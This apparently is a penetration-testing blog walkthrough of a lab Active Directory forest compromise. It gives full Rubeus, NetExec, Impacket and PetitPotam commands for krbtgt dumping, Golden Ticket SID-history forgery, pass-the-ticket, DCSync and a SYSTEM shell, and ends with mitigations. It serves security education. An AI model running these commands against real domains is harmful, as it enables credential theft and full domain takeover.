Active Directory Forest Trust Abuse: Child-to-Root Domain Escalation
Overview
This article walks through a complete forest compromise of an Active Directory environment, escalating from a single child domain all the way to the forest root. The engagement targets the ignite.local forest, which contains a dedicated child domain named pentest.ignite.local. Starting from a Domain Admin account in the child domain, the attacker confirms that this privilege does not directly reach the parent, enumerates the forest trust, extracts the child domain krbtgt hash, and forges a cross-domain Golden Ticket that injects the parent Enterprise Admins SID through SID History.
From there, the attacker weaponises the forged ticket: a pass-the-ticket attack unlocks the forest root domain controller, secrets are harvested from both Windows and Linux, the entire escalation is automated with a single NetExec module, and the forest finally falls through a full DCSync and an interactive SYSTEM shell. A second, independent path then reaches the same outcome by coercing the forest root into authenticating to an attacker-controlled child domain controller. Every action shown here was performed against an isolated, fully authorised laboratory built solely for security research and education.
Table of Contents:
- Introduction
- Lab Environment
- Phase 1: Building and Seizing the Child Domain
- Phase 2: Confirming the Access Boundary
- Phase 3: Enumerating the Forest Trust
- Trust discovery with NetExec
- Trust details with PyWerView
- Trust confirmation with Impacket and nltest
- Trust confirmation with PowerShell
- Trust confirmation with bloodyAD
- Phase 4: Extracting the krbtgt Hash and Required SIDs
- Dumping the child krbtgt hash
- Child domain SID
- Parent Enterprise Admins SID
- Phase 5: Forging the Cross-Domain Golden Ticket
- Staging Rubeus
- Building the ticket
- Phase 6: Passing the Ticket into the Forest Root
- Phase 7: Harvesting Forest Root Secrets from Linux
- Phase 8: Automating the Escalation with NetExec
- Forging the ticket with raisechild
- Validating the forged ticket
- Phase 9: Achieving Full Forest Compromise
- DCSync of the forest root
- Interactive SYSTEM shell on the forest root
- Phase 10: Alternative Path — Coercion-Based Compromise
- Confirming the coercion vector
- Monitoring for the DC machine account ticket
- Coercing the forest root with PetitPotam
- Capturing the forest root ticket
- Converting the captured ticket
- DCSync with the captured machine account
- Mitigation Strategies
- Conclusion
Introduction
Active Directory organises large environments into forests, and a forest can contain multiple domains arranged in a parent-child hierarchy. Administrators often assume that a child domain forms a strong security boundary. In reality, the security boundary in Active Directory is the forest, not the domain. Every domain in a forest is connected by an automatic, bidirectional, transitive trust, and SID filtering is intentionally relaxed for these intra-forest trusts so that universal groups and SID History flow freely between domains.
Attackers weaponise this design. A Golden Ticket is a Kerberos Ticket Granting Ticket forged with the krbtgt account hash of a domain; because it is signed with the very key the Key Distribution Center uses to validate tickets, the domain accepts it without question. Rubeus extends this primitive with the /sids parameter, which writes additional SIDs into the ExtraSids field of the ticket — the same field SID History uses. Placing the parent Enterprise Admins SID into that field turns a single child domain compromise into a complete forest takeover.
A forged ticket only becomes useful once it is presented to a service. Pass-the-ticket injects a Kerberos ticket directly into the current logon session, letting the attacker authenticate as the forged identity without ever knowing a password. The same outcome can also be reached without any krbtgt hash: domain controllers enable unconstrained delegation by default, so coercing the forest root into authenticating to an attacker-controlled child domain controller captures the parent machine account ticket, whose built-in replication rights are enough to dump the domain. This article demonstrates all of these techniques, in phases, against ignite.local.
Lab Environment
The lab models a typical multi-domain forest. The forest root ignite.local hosts the Enterprise Admins group and runs on the domain controller DC, while a child domain pentest.ignite.local runs on a separate domain controller named CDC01. The attacker operates from Kali Linux and works toward, and then from, a Domain Admin account named raaz inside the child domain.

Phase 1: Building and Seizing the Child Domain
The engagement begins by standing up the child domain so the parent-child trust exists to attack, then planting a Domain Admin foothold inside it. Before promoting the new server, the network adapter must point at the forest DNS infrastructure, because Active Directory promotion relies entirely on DNS to locate the parent domain. The image below shows the IPv4 properties of the prospective child domain controller, resolving through the loopback address as its own future DNS service while delegating to the parent domain controller at 192.168.1.11 as the alternate server.

With DNS in place, the Add Roles and Features Wizard launches from Server Manager on the host named CDC01. The opening page restates the prerequisites — a strong administrator password, static networking, and current updates — before role selection begins.

On the role selection page, the attacker enables the Active Directory Domain Services role, which installs the binaries required to promote the machine into a domain controller, along with the supporting management tools.

Once the role finishes installing, Server Manager raises a post-deployment configuration notification. Clicking “Promote this server to a domain controller” launches the configuration wizard that joins the server to the forest.

In the Deployment Configuration step, the operation is set to “Add a new domain to an existing forest” with the domain type Child Domain. The parent domain is specified as ignite.local and the new child label as pentest, producing the fully qualified child domain pentest.ignite.local. Creating the child requires Enterprise Admin authority, so the credentials are switched to the ignite.local administrator using the Change button.

The Windows Security prompt collects the forest administrator credentials that authorise the new domain to join the existing forest.

The Domain Controller Options page sets the domain functional level and configures the server as a DNS server and Global Catalogue, and a Directory Services Restore Mode password is supplied to complete the promotion. After the wizard finishes and the server reboots, pentest.ignite.local exists as a live child domain joined to the ignite.local forest.

To model a realistic compromise, the attacker establishes a foothold account with Domain Admin rights inside the child domain. The following commands, run on the child domain controller, create a user named raaz and add that user to the child domain Domain Admins group. Both commands complete successfully, confirming that raaz now holds Domain Admin authority over pentest.ignite.local.
net user raaz Password@2 /add /domain net group "Domain Admins" "raaz" /add /domain
Phase 2: Confirming the Access Boundary
Being a Domain Admin in the child domain does not automatically grant access to the parent domain. To prove this boundary, the attacker connects to the child domain controller from Kali using Evil-WinRM as raaz, then attempts to read the administrative C$ share of the parent domain controller dc.ignite.local. The attempt is rejected with an access denied error, establishing that child domain privileges alone cannot reach the forest root — a result that later phases will overturn.
evil-winrm -i 192.168.1.9 -u raaz -p Password@2 dir \dc.ignite.localc$

Phase 3: Enumerating the Forest Trust
Before escalating, the attacker maps the trust relationship between the child and parent domains. Its direction, type, and attributes determine whether a SID History attack is viable, so several tools confirm the same conclusion from different angles.
Trust discovery with NetExec
NetExec authenticates over LDAP as raaz and lists the domain controllers visible from the child domain. The output reveals the parent controller DC.ignite.local at 192.168.1.11 and labels the relationship as bidirectional and within the same forest — exactly the condition SID History abuse requires.
nxc ldap 192.168.1.9 -u raaz -p Password@2 --dc-list

Trust details with PyWerView
PyWerView queries the trust object directly. The direction is bidirectional, the partner is ignite.local, the type is a standard Windows Active Directory trust, and the attributes mark it within_forest. That within-forest attribute is the critical detail, because it means SID filtering is not enforced and injected SIDs will be honored.
pywerview get-netdomaintrust -w pentest.ignite.local -u raaz -p 'Password@2' --dc-ip 192.168.1.9

Trust confirmation with Impacket and nltest
The attacker opens an interactive SYSTEM shell on the child domain controller with Impacket’s psexec, then runs nltest to list trusted domains. The output identifies IGNITE (ignite.local) as the Forest Tree Root and PENTEST (pentest.ignite.local) as the primary domain, with the withinforest attribute again confirming the relationship.
impacket-psexec pentest.ignite.local/raaz:Password@2@192.168.1.9 nltest /trusted_domains

Trust confirmation with PowerShell
Native PowerShell corroborates the finding without any external tooling. Querying the current domain for all trust relationships returns a single ParentChild trust between pentest.ignite.local and ignite.local with a bidirectional direction.
powershell ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

Trust confirmation with bloodyAD
Finally, bloodyAD enumerates the trust from Kali and renders it as a tree, showing pentest.ignite.local linked to ignite.local through a WITHIN_FOREST trust. Five independent tools now agree the relationship is attackable.
bloodyAD --host 192.168.1.9 -d pentest.ignite.local -u raaz -p 'Password@2' get trusts

Phase 4: Extracting the krbtgt Hash and Required SIDs
A cross-domain Golden Ticket needs three ingredients from the child domain side: the child krbtgt hash that signs the ticket, the child domain SID that anchors it, and the parent Enterprise Admins SID that will be injected through SID History.
Dumping the child krbtgt hash
Because raaz is Domain Admin in the child domain, the attacker dumps the child NTDS database remotely with NetExec. The krbtgt entry is the prize, since its hash signs every Kerberos ticket minted for pentest.ignite.local.
nxc smb 192.168.1.9 -u raaz -p Password@2 --ntds
The highlighted line exposes the child krbtgt RC4 hash 19a89a7d06f4b16d6ec891bb938268ee, which becomes the signing key for the forged ticket.

Child domain SID
The attacker retrieves the SID of pentest.ignite.local with PowerShell. This value anchors the forged ticket to the child domain whose krbtgt key signs it.
(Get-ADDomain).DomainSID

Parent Enterprise Admins SID
Next, the attacker queries the parent domain controller dc.ignite.local for the Enterprise Admins group. This forest-level group controls every domain in the forest, and its SID, ending in the well-known relative identifier 519, is the SID that will be smuggled into the ticket.
Get-ADGroup -Identity "Enterprise Admins" -Server dc.ignite.local

Phase 5: Forging the Cross-Domain Golden Ticket
With the child krbtgt hash and both SIDs in hand, the attacker assembles the cross-domain Golden Ticket using Rubeus on the child domain controller.
Staging Rubeus
Rubeus is downloaded from the attacker’s web server onto the child domain controller and saved into the public directory. A directory listing confirms the executable landed successfully.
powershell wget http://192.168.1.17/Rubeus.exe -o Rubeus.exe dir

Building the ticket
Rubeus now forges the ticket. The command signs a TGT for the child domain administrator using the child krbtgt hash and the child domain SID, while the /sids parameter injects the parent Enterprise Admins SID into the ticket’s ExtraSids field. This single flag is what crosses the trust boundary, because the within-forest trust honors the injected SID instead of filtering it out.
Rubeus.exe golden /rc4:19a89a7d06f4b16d6ec891bb938268ee /user:administrator /domain:pentest.ignite.local /sid:S-1-5-21-3430543386-541733547-1396883976 /sids:S-1-5-21-2964257136-1039789743-457275023-519 /outfile:ticket

Rubeus reports a successfully built TGT for administrator@pentest.ignite.local and explicitly lists the ExtraSIDs value as the parent Enterprise Admins SID, proving the SID History injection succeeded. The resulting ticket is written to disk, ready to be weaponized in the next phase.

Phase 6: Passing the Ticket into the Forest Root
With the ticket forged, the attacker loads it into memory on the child domain controller. Rubeus imports the ticket with the ptt action, and klist confirms a single cached ticket issued to an administrator at PENTEST.IGNITE.LOCAL. With the ticket in place, listing the administrative C$ share of the parent domain controller now succeeds and reveals the forest root file system — the exact action that failed in Phase 2 now completes, proving the SID History injection works end to end.
Rubeus.exe ptt /ticket:ticket_2026_04_15_13_19_28_administrator_to_krbtgt@PENTEST.IGNITE.LOCAL klist dir \dc.ignite.localc$

Phase 7: Harvesting Forest Root Secrets from Linux
The same ticket works just as well from Kali. The attacker decodes the base64 ticket back into kirbi format, converts it to the ccache format Impacket and NetExec understand, and exports it through the KRB5CCNAME variable. NetExec then authenticates to the forest root with Kerberos and dumps the Local Security Authority secrets, exposing the IGNITEDC$ machine account hash, a cached administrator credential, and the DPAPI machine and user keys — high-value material harvested straight from the forest root.
cat ticket.b64 | base64 -d > ticket.kirbi impacket-ticketConverter ticket.kirbi ticket.ccache export KRB5CCNAME=ticket.ccache nxc smb 192.168.1.11 dc.ignite.local -k --use-kcache --lsa

Phase 8: Automating the Escalation with NetExec
Everything performed manually in Phases 4 and 5 can be condensed into a single command. NetExec’s raisechild module chains the entire child-to-parent attack end to end.
Forging the ticket with raisechild
Running raisechild against the child domain controller as raaz, NetExec automatically gathers the child domain SID, resolves the parent domain and its SID, extracts the child krbtgt hash, forges the cross-domain Golden Ticket, and saves the result to Administrator.ccache. The module finishes by printing the export command needed to use the ticket.
nxc ldap 192.168.1.9 -u raaz -p Password@2 -M raisechild

Validating the forged ticket
Exporting the freshly generated ccache and pointing NetExec at the forest root confirms the automated ticket carries the same power as the hand-built one. NetExec authenticates as PENTEST.IGNITE.LOCALAdministrator and again dumps the parent domain LSA secrets, including the DC machine account hash and DPAPI keys.
export KRB5CCNAME=Administrator.ccache nxc smb 192.168.1.11 dc.ignite.local -k --use-kcache –lsa

Phase 9: Achieving Full Forest Compromise
With Enterprise Admin access established, the attacker extracts every credential in the forest root and proves arbitrary code execution on it.
DCSync of the forest root
Impacket’s secretsdump uses the Kerberos ticket to perform a DCSync against ignite.local, abusing the directory replication protocol to pull NTDS.DIT secrets without touching disk. The dump returns the NT hash of every account in the parent domain, including the Administrator, the parent krbtgt, and all domain users — a complete and persistent compromise of the forest root.
impacket-secretsdump -k -no-pass dc.ignite.local -just-dc

Interactive SYSTEM shell on the forest root
To demonstrate full control, the attacker opens an interactive shell on the forest root with Impacket’s psexec using only the Kerberos ticket. The shell runs as SYSTEM, and the hostname command returns DC, confirming code execution on the forest root domain controller itself.
impacket-psexec -k -no-pass dc.ignite.local hostname

Phase 10: Alternative Path — Coercion-Based Compromise
The forest can also fall without ever forging a ticket. Domain controllers enable unconstrained delegation by default, so any account that authenticates to one leaves a reusable Kerberos ticket in its memory. By coercing the forest root domain controller into authenticating to the attacker-controlled child domain controller, the attacker captures the parent machine account ticket and reuses its replication rights.
Confirming the coercion vector
First, the attacker opens a shell on the child domain controller as raaz and probes the named pipes exposed by the forest root. Listing the spool’s pipe over the dc host confirms the Print Spooler service is reachable, signalling that a coercion trigger is available against the parent domain controller.
impacket-psexec pentest.ignite.local/raaz:Password@2@192.168.1.9 cd / cd Users/Public powershell ls \dcpipespoolss

Monitoring for the DC machine account ticket
On the child domain controller, Rubeus enters monitor mode and watches for new Ticket Granting Tickets every five seconds, filtering specifically for the DC$ machine account. When the coerced authentication arrives, Rubeus will capture the parent domain controller’s ticket from memory.
Rubeus.exe monitor /interval:5 /filteruser:DC$ /nowrap

Coercing the forest root with PetitPotam
From Kali, the attacker triggers the coercion with PetitPotam, abusing the MS-EFSRPC EfsRpcOpenFileRaw method. Authenticated as raaz, PetitPotam forces dc.ignite.local to connect back to cdc01.pentest.ignite.local. The expected ERROR_BAD_NETPATH response followed by “Attack worked!” confirms the forest root was successfully coerced into authenticating to the attacker-controlled child domain controller.
python PetitPotam.py -u raaz -p Password@2 -d pentest.ignite.local cdc01.pentest.ignite.local dc.ignite.local

Capturing the forest root ticket
Back in the Rubeus monitor session, the coerced authentication surfaces as a new TGT for DC$@IGNITE.LOCAL, complete with a base64-encoded ticket. The attacker has now captured the forest root domain controller’s own machine account ticket.

Converting the captured ticket
The captured kirbi ticket is converted into ccache format so Impacket can consume it.
impacket-ticketConverter newticket.kirbi newticket.ccache

DCSync with the captured machine account
Finally, the attacker exports the converted ticket and runs secretsdump. Because the DC$ machine account holds directory replication rights, the captured ticket authorizes a full DCSync of ignite.local. The entire NTDS.DIT spills once more — this time without any Golden Ticket, proving that coercion alone delivers complete forest compromise.
export KRB5CCNAME=newticket.ccache impacket-secretsdump -k -no-pass dc.ignite.local -just-dc

Mitigation Strategies
Defending against these attacks requires treating the forest, not the domain, as the true security boundary, hardening Kerberos, restricting delegation, and removing the coercion triggers that fuel capture and relay attacks.
- Rotate the krbtgt password twice across every domain in the forest on a regular schedule, which invalidates Golden Tickets forged from a stolen hash and the tickets minted from them.
- Treat every domain controller, including child domain controllers, as tier-zero infrastructure, and isolate privileged credentials with administrative tier separation.
- Enable SID filtering on trusts wherever the business relationship allows and never grant cross-domain administrative access that is not strictly required.
- Remove unconstrained delegation wherever it is not needed and add sensitive accounts to the Protected Users group or mark them as “account is sensitive and cannot be delegated.”
- Disable the Print Spooler service on domain controllers and patch EFSRPC coercion vectors to close PetitPotam and printer-bug triggers and enforce SMB signing and Extended Protection for Authentication to neutralize relay.
- Restrict and monitor Domain Admin and Enterprise Admin membership, and watch for DCSync activity from non-domain-controller hosts, anomalous DRSUAPI replication, and Kerberos tickets containing ExtraSids or unusual lifetimes.
Conclusion
This walkthrough showed how a single child domain compromise collapses an entire Active Directory forest. After seizing Domain Admin in pentest.ignite.local, the attacker confirmed that child privileges could not directly reach the parent, enumerated a bidirectional within-forest trust with five independent tools, extracted the child krbtgt hash, and forged a Golden Ticket carrying the parent Enterprise Admins SID through SID History. Passing that ticket unlocked the forest root, where a full DCSync and a SYSTEM shell sealed total ownership — and a separate coercion path reached the same result without any forged ticket at all.
The decisive lesson is unambiguous: in Active Directory the domain is not a security boundary — the forest is. Organizations that separate sensitive assets into child domains while assuming isolation are exposed to exactly this escalation. Hardening the krbtgt key, enforcing SID filtering where possible, eliminating unnecessary delegation, removing coercion triggers, and protecting every domain controller as tier-zero infrastructure are the controls that break this chain before it reaches the forest root.
The post Active Directory Forest Trust Abuse: Child-to-Root Domain Escalation appeared first on Hacking Articles.
Powered by WPeMatico

